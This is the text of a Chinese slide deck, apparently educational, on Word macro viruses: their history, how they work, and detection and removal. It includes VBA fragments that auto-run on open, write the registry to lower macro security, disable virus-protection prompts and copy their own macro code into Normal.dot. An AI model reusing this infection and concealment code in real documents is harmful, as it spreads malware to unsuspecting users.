版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、宏病毒的原理及實(shí)現(xiàn),宏(macro),就是軟件設(shè)計(jì)者為了在使用軟件工作時(shí),避免一再的重復(fù)相同的動(dòng)作而設(shè)計(jì)出來(lái)的一種工具。它利用簡(jiǎn)單的語(yǔ)法,把常用的動(dòng)作寫成宏,當(dāng)再工作時(shí),就可以直接利用事先寫好的宏自動(dòng)運(yùn)行,去完成某項(xiàng)特定的任務(wù),而不必再重復(fù)相同的動(dòng)作。,什么是“宏”?,Microsoft Office、wps等辦公軟件 魔獸世界、劍網(wǎng)等游戲,哪里用到“宏”?,Office 宏的定義:Microsoft Word中對(duì)宏定義為:“宏就是能組織到一起作為一獨(dú)立的命令使用的一系列word命令,它能使日常工作變得更容易”,宏語(yǔ)言,宏語(yǔ)言即VISUAL BASIC FOR APPLICATION,簡(jiǎn)稱 V
2、BA。 VBA 可以訪問(wèn)許多操作系統(tǒng)函數(shù)并支持文檔打開時(shí)自動(dòng)執(zhí)行宏 這使得用這種語(yǔ)言寫計(jì)算機(jī)病毒成為可能,Office各版本及其宏語(yǔ)言,6,Office自帶 Visual Basic 編輯器,注: 1、調(diào)用VB編輯器的快捷方式: Alt + F11 2、查看宏的快捷鍵: Alt + F8,office2007 查看宏代碼可以點(diǎn)擊: 視圖 宏 編輯,VBA簡(jiǎn)介,直到90年代早期,使應(yīng)用程序自動(dòng)化還是充滿挑戰(zhàn)性的領(lǐng)域。對(duì)每個(gè)需要自動(dòng)化的應(yīng)用程序,人們不得不學(xué)習(xí)一種不同的自動(dòng)化語(yǔ)言。例如: 用EXCEL的宏語(yǔ)言來(lái)使EXCEL自動(dòng)化,使用WORD BASIC使WORD自動(dòng)化等等。 微軟開發(fā)出來(lái)的應(yīng)用程
3、序共享一種通用的自動(dòng)化語(yǔ)言-Visual Basic For Application(VBA),實(shí)際上VBA是寄生于VB應(yīng)用程序的版本。 VB是設(shè)計(jì)用于創(chuàng)建標(biāo)準(zhǔn)的應(yīng)用程序,而VBA是使已有的應(yīng)用程序(EXCEL等)自動(dòng)化。,word創(chuàng)建宏,Word 提供了兩種創(chuàng)建宏的方法:宏錄制器和 Visual Basic 編輯器。 宏錄制器可幫助用戶開始創(chuàng)建宏。Word 在 VBA編程語(yǔ)言中把宏錄制為一系列的 Word 命令。可在 Visual Basic編輯器中打開已錄制的宏,修改其中的指令。也可用 Visual Basic編輯器創(chuàng)建包括 Visual Basic 指令的非常靈活和強(qiáng)有力的宏,這些指令無(wú)
4、法采用錄制的方式。,基于word的VBA編程,Sub AutoOpen() 定義函數(shù)名,AutoXXX為自動(dòng)宏 While True 惡意代碼 ,死循環(huán) Msgbox ”Hello world” 調(diào)用對(duì)話框顯示消息 Wend End Sub 函數(shù)到此結(jié)束,基于word的VBA編程,Sub AutoOpen() Command.Caption = Shell C:Program FilesInternet ExplorerIEXPLORE.EXE vbNormalFocus For i = 1 To 10 Documents.Add 新添加一個(gè)word文檔 Next i End Sub,調(diào)用操作
5、系統(tǒng) Shell函數(shù),打開已安裝的應(yīng)用程序,Office有了宏,宏在office中的什么位置?,為了方便人們使用宏以及宏文件的傳遞使用,Word定義出一種文件格式,將文檔以及該文檔所需要的宏合在一起放在后綴為.dot的文件之中。正因?yàn)檫@種是宏也是資料的文檔格式,便產(chǎn)生了宏感染的可能性。,但是,Normal.dot上不能用來(lái)存儲(chǔ)數(shù)據(jù),每次修改后都需另外保存。,有沒(méi)有一種文檔格式,既可以存儲(chǔ)宏,又可以用來(lái)存儲(chǔ)數(shù)據(jù)?,一、模板文件格式:.dot文檔:模板文檔,新文檔繼承模板的屬性( 宏、菜單、格式等)。 Normal.dot文件:全局模板,在建立整個(gè)文檔中所起的作用是作為一個(gè)基類,是新建文檔默認(rèn)的模
6、板。,二、數(shù)據(jù)文件格式 .doc一種可以存貯宏的普通文檔; .docx一種不包含宏的普通文檔; .docm一種包含宏或啟用了宏的文檔; .dotx一種不包含宏的模板; .dotm一種包含宏或啟用了宏的模板。,宏就在office文檔里 用普通文檔即可傳播宏文件,寫代碼簡(jiǎn)單,傳播更簡(jiǎn)單,那么,我們可不可以做點(diǎn)別的事?,其實(shí)宏病毒的出現(xiàn)并非出乎人們的意料,早在80年代后期就有專家預(yù)言過(guò)。那時(shí),有些學(xué)生就用某些應(yīng)用程序的宏語(yǔ)言編寫病毒。然而,宏病毒與普通病毒不同,它不感染.EXE或.COM文件,而只感染文檔文件。宏病毒就像自然界中令人恐懼的龍卷風(fēng),對(duì)人們正常使用計(jì)算機(jī)進(jìn)行學(xué)習(xí)和工作帶來(lái)了不可估量的影響
7、,同時(shí)也造成了社會(huì)財(cái)富的巨大浪費(fèi)。,1. Concept宏病毒,世界上的第一個(gè)宏病毒Concept可以感染W(wǎng)indows和蘋果機(jī)上的Microsoft Word文檔。這個(gè)病毒是用Microsoft Word 6.0中的宏語(yǔ)言編寫的,但它也能感染其他Word版本創(chuàng)建的文檔。看起來(lái)編寫Concept宏病毒是為了證明確實(shí)可以用宏編程語(yǔ)言編寫病毒。因此,Concept宏病毒只是顯示一個(gè)對(duì)話框,宣示它的存在,并不故意破壞磁盤上的任何文件。,2 Nuclear宏病毒 這是一個(gè)對(duì)操作系統(tǒng)文件和打印輸出有破壞功能的宏病毒。這個(gè)宏病毒中包含以下病毒宏:AutoExec AutoOpen DropSuriv Fi
8、leExit FilePrint FilePrint DefaultFile SaveAs 這些宏是只執(zhí)行(Execute-only)宏 Nuclear宏病毒造成的破壞現(xiàn)象為: (1)打開一個(gè)染毒文檔井打印的時(shí)候,它會(huì)在您打印的最后一段加上“STOPALLFRENCHNUCLEARTESTING INTHEPACIFIC!”,這個(gè)現(xiàn)象是在每分鐘的55秒60秒之間操作打印時(shí)發(fā)生。 (2)如果在每天17:0018:00之間打開一個(gè)染毒文檔,Nuclear病毒會(huì)將PH33R病毒傳染到計(jì)算機(jī)上,這是個(gè) 駐留型病毒。 (3)在每年的4月5日,該病毒會(huì)將計(jì)算機(jī)上IO.SYS和MSDOS.SYS文件清零,并
9、且刪除C盤根目錄上的COMMAND. COM文件。一旦病毒發(fā)作,MSDOS就不可能被引導(dǎo),計(jì)算機(jī)將陷入癱瘓。,3 臺(tái)灣一號(hào)病毒 臺(tái)灣一號(hào)病毒會(huì)在每月的13日影響您正常使用Word文檔和編輯器。它包含以下病毒宏:AutoClose、AutoNew、AutoOpen這些宏是可被編輯宏。在病毒宏中含有如下的語(yǔ)句:IfDay(Now()=13Then.這條語(yǔ)句與13日有關(guān)。臺(tái)灣一號(hào)病毒造成的危害是:在每月13日,若用戶使用Word打開一個(gè)帶毒的文檔(模板)時(shí),病毒會(huì)被激發(fā)。激發(fā)時(shí)的現(xiàn)象是:在屏幕正中央彈出一個(gè)對(duì)話框,該對(duì)話框提示用戶做一個(gè)心算題,如做錯(cuò),它將會(huì)無(wú)限制地打開文件,直至Word內(nèi)存不夠,W
10、ord出錯(cuò)為止;如心算題做對(duì),會(huì)提示用戶“什么是巨集病毒(宏病毒)?”,回答“我就是巨集病毒”,再提示用戶:“如何預(yù)防巨集病毒?”,回答是“不要看我”。,2.1 宏病毒簡(jiǎn)介,什么是宏病毒?,宏病毒是一種寄存在文檔或模板的宏中的計(jì)算機(jī)病毒。一旦打開這樣的文檔,其中的宏自動(dòng)被執(zhí)行,于是宏病毒就會(huì)被激活,轉(zhuǎn)移到計(jì)算機(jī)上,并駐留在Normal模板上。從此以后,所有自動(dòng)保存的文檔都會(huì)“感染”上這種宏病毒,而且如果其他用戶打開了感染病毒的文檔,宏病毒又會(huì)轉(zhuǎn)移到他的計(jì)算機(jī)上。,宏病毒的特點(diǎn),(1)宏病毒會(huì)感染.DOC文檔和.DOT模版文件。 (2) 宏病毒的傳染通常是WORD在打開一個(gè)帶宏病毒的文檔或模版時(shí)
11、,激活宏病毒。 (3)多數(shù)宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit 等自動(dòng)宏,通過(guò)這些自動(dòng)宏病毒取得文檔(模版)操作權(quán)。 (4)宏病毒中總是含有對(duì)文檔讀寫操作的宏命令。 (5)病毒原理簡(jiǎn)單,制作比較方便。 (6)傳播速度相對(duì)較快。,WORD 宏病毒的生命周期,21,編程語(yǔ)言:VBA、WordBasic等 運(yùn)行環(huán)境:VBE,Word宏病毒的感染過(guò)程,宏病毒原理大揭秘,1、降低宏安全級(jí)別,以office2003版為例If Application.Version “11.0” Then 判斷office版本strFullname = ThisWorkbook.
12、FullName 取得當(dāng)前工作薄的全名strVBS = Replace(UCase(strFullname), .XLS, .vbs) temp文件VBS的文件名Set WSH = CreateObject(“Wscript.Shell”) 創(chuàng)建Wscript對(duì)象Err.ClearOn Error Resume Next 出錯(cuò)不提示,繼續(xù)regStr =,HKEY_CURRENT_USERSoftwareMicrosoftOffice11.0WordSecurityLevel“ 注冊(cè)表中Excel vba安全級(jí)別位置ret = WSH.RegRead(regStr) 讀取當(dāng)前安全級(jí)別If Er
13、r.Number 0 Then 判斷讀取是否成功 vbOKOnly + vbCritical, Keanjeason Exit SubElse 如果當(dāng)前Excel VBA安全級(jí)別不為“低”,則設(shè)置為“低”,值1-4分別對(duì)應(yīng):低,中,高,非常高 If Val(ret) 1 Then ret = WSH.RegWrite(regStr, 1, REG_DWORD)End If,1、用戶使用Word執(zhí)行打開文檔、保存文檔、打印文檔和關(guān)閉文檔等操作時(shí),Word會(huì)查找指定的標(biāo)準(zhǔn)宏: 例1:關(guān)閉文檔之前查找“FileSave”宏,如果存在,首先執(zhí)行這個(gè)宏 例2:打印文檔之前首先查找“FilePrint”宏
14、,如果存在則執(zhí)行這個(gè)宏,2、Word中另外還有一些以“Auto”開始的宏(自動(dòng)宏),如“AutoOpen”、“AutoClose”等,如果建立了這些宏,打開/關(guān)閉文檔的時(shí)候?qū)⒆詣?dòng)執(zhí)行這些宏,這些宏一般是全局宏,對(duì)任何Word文檔都有效。,病毒觸發(fā)要隱含在正常的操作中,這些自動(dòng)執(zhí)行的宏然是最好的宿主。,2、文檔的控制權(quán)獲取,宏病毒常用到的宏如下表所示,高明的病毒編寫者其自我保護(hù)將做得非常好,可以使word的一些工具欄失效,例如將工具菜單中的宏選項(xiàng)屏蔽,也可以修改注冊(cè)表達(dá)到很好的隱藏效果。,常用代碼示例: On Error Resume Next 如果發(fā)生錯(cuò)誤,不彈出出錯(cuò)窗口,繼續(xù)執(zhí)行下面語(yǔ)句 A
15、pplication.DisplayAlert = wdAlertsNoe 不彈出警告窗口 Application.EnableCancelKey = wdCancelDisabled 不允許通過(guò)ESC鍵結(jié)束正在運(yùn)行的宏 Application.DisplayStatusBar = False 不顯示狀態(tài)欄,避免顯示宏的運(yùn)行狀態(tài) Application.ScreenUpdating = False 不讓刷新屏幕,避免病毒運(yùn)行引起刷新速度變慢 Option.VirusProtection = False 關(guān)閉病毒保護(hù)功能,運(yùn)行前如果包含宏,不提示 Option.SaveNormalPrompt
16、= False 如果公用模板被修改,不給用戶提示窗口而直接保存,3、宏病毒的自我隱藏,1、Word宏病毒一般都首先隱藏在一個(gè)指定的Word文檔中,一旦打開了這個(gè)Word文檔,宏病毒就被執(zhí)行,宏病毒要做的第一件事情就是將自己拷貝到全局宏的區(qū)域,使得所有打開的文檔都可使用這個(gè)宏。,2、當(dāng)Word退出的時(shí)候,全局宏將被存儲(chǔ)在某個(gè)全局的模板文檔(.dot文件)中,這個(gè)文件的名字通常是“Normal.dot”,即Normal模板。,3、如果全局宏模板被感染,則Word再啟動(dòng)的時(shí)候?qū)⒆詣?dòng)載入宏病毒并且自動(dòng)執(zhí)行。,4、傳播與感染,1)得到正在操作的文檔代碼對(duì)象和公用模板的代碼對(duì)象。 Ourcode = Th
17、isDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If,2) 檢查模板是否已經(jīng)感染病毒,如果沒(méi)有,則復(fù)制宏病毒代碼到模板,并且修改函數(shù)名。 With host If .Lines(1, 1)
18、 moonlight Then .DeleteLines 1, .CountOfLines .InsertLines 3, Sub Document_Close() If ThisDocument = NormalTemplate Then .RbeplaceLine 3, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With,宏病毒預(yù)防,宏病毒離不開可供其運(yùn)行的系統(tǒng)軟件(WORD,EXCEL 等OFFICE 軟件),所以宏病毒的檢測(cè)其實(shí)非常容易。只要留意一下常用的OFF
19、ICE 系統(tǒng)軟件是不是出現(xiàn)了一些不正常的現(xiàn)象,就能大概知道計(jì)算機(jī)是不是染上了宏病毒。,如何及時(shí)發(fā)現(xiàn)宏病毒?,(1)全局模板中出現(xiàn)宏。 (2)無(wú)故出現(xiàn)存盤操作。 (3)OFFICE功能混亂,無(wú)法使用。 (4)OFFICE菜單命令消失。 (5)OFFICE文檔的內(nèi)容發(fā)生變化。 (6)嘗試保存文檔時(shí),只允許將文檔保存為文檔模版的格式。 (7)文檔圖標(biāo)的外形類似模板而非文檔圖標(biāo)。,Office不正?,F(xiàn)象集錦,感染了宏病毒后,同樣可以用防治計(jì)算機(jī)病毒的軟件來(lái)查殺,亦可采用以下方法進(jìn)行手工處理: 1、通過(guò)刪除宏命令的形式刪除宏病毒。 2、通過(guò)復(fù)制粘貼清除宏病毒代碼方式清除宏病毒。 3、通過(guò)刪除NORMAL
20、.DOT來(lái)除掉Word宏病毒。 4、通過(guò)格式轉(zhuǎn)換清除Word 宏病毒。 5、通過(guò)高版本的Word發(fā)現(xiàn)病毒宏。 6、為防萬(wàn)一,在打開懷疑感染了宏病毒的文檔時(shí)按住SHIFT鍵,這樣可以避免宏自動(dòng)運(yùn)行,如果有宏病毒,則不會(huì)加載宏。,宏病毒的清除,日常辦公中,如何去避免宏病毒?,1、初級(jí)防護(hù)設(shè)置宏安全等級(jí),36,針對(duì) Office 2007 Officeword選項(xiàng)信任中心宏設(shè)置,為了防止利用“VBA”語(yǔ)言編制專門破壞電腦系統(tǒng)的病毒程序,Office自帶了“宏”檢測(cè)功能。設(shè)置宏的安全級(jí)別較高時(shí),打開帶有“宏”的文檔時(shí),會(huì)提示用戶注意,并讓用戶自行選擇是否啟用“宏”。,(1)根據(jù)AUTO宏的自動(dòng)執(zhí)行的特點(diǎn),在打開office文檔時(shí),可按住shift鍵,來(lái)避免自動(dòng)宏的運(yùn)行。,(2)當(dāng)懷疑系統(tǒng)帶有宏病毒時(shí),首先應(yīng)檢查是否存在可疑的宏,也就是一些用戶沒(méi)有編制過(guò)、也不是OFFICE默認(rèn)提供而出現(xiàn)的宏,如一些稀
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 邊城書籍介紹課件
- 辯論賽培訓(xùn)課件
- 車隊(duì)職工安全培訓(xùn)課件
- 內(nèi)科主治醫(yī)師考試強(qiáng)化沖刺試題及答案
- 車隊(duì)冬季四防安全培訓(xùn)課件
- 2026年四川低壓電工理論考試題庫(kù)及答案
- 酒店員工行為規(guī)范及獎(jiǎng)懲制度
- 車間級(jí)安全培訓(xùn)教學(xué)課件
- (2026)院感科年度培訓(xùn)計(jì)劃(2篇)
- 車間電氣設(shè)備培訓(xùn)課件
- 委內(nèi)瑞拉變局的背后
- 政府補(bǔ)償協(xié)議書模板
- 語(yǔ)文-吉林省2026屆高三九校11月聯(lián)合模擬考
- 2025年四川省高職單招模擬試題語(yǔ)數(shù)外全科及答案
- 2025年江蘇事業(yè)單位教師招聘體育學(xué)科專業(yè)知識(shí)考試試卷含答案
- 模擬智能交通信號(hào)燈課件
- 合肥市軌道交通集團(tuán)有限公司招聘筆試題庫(kù)及答案2025
- 2.3《河流與湖泊》學(xué)案(第2課時(shí))
- 工地臨建合同(標(biāo)準(zhǔn)版)
- GB/T 46275-2025中餐評(píng)價(jià)規(guī)范
- 2025至2030供水產(chǎn)業(yè)行業(yè)項(xiàng)目調(diào)研及市場(chǎng)前景預(yù)測(cè)評(píng)估報(bào)告
評(píng)論
0/150
提交評(píng)論